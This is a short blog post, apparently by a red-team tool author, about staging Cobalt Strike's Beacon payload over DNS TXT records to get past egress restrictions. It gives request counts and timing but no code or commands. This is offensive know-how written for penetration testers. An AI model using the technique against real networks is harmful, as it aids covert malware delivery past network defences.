A TXT record is limited to 255 characters. It takes many TXT record requests to download a payload. I use the modified dns_txt_query_exec to stage Cobalt Strike’s Beacon over DNS when needed. It takes around 1,000 TXT record requests to stage Beacon. Over the internet, this takes about one minute.

DNS Staging is a nice option for systems that can’t connect to the internet or when other egress restrictions are too much work to figure out. If a system can resolve a fully qualified domain name to an IP address, then it can probably stage a payload over DNS too.

Tradecraft, part 8: Offense in Depth discusses this topic as well.

Follow

Get every new post delivered to your Inbox.

Join 12,809 other followers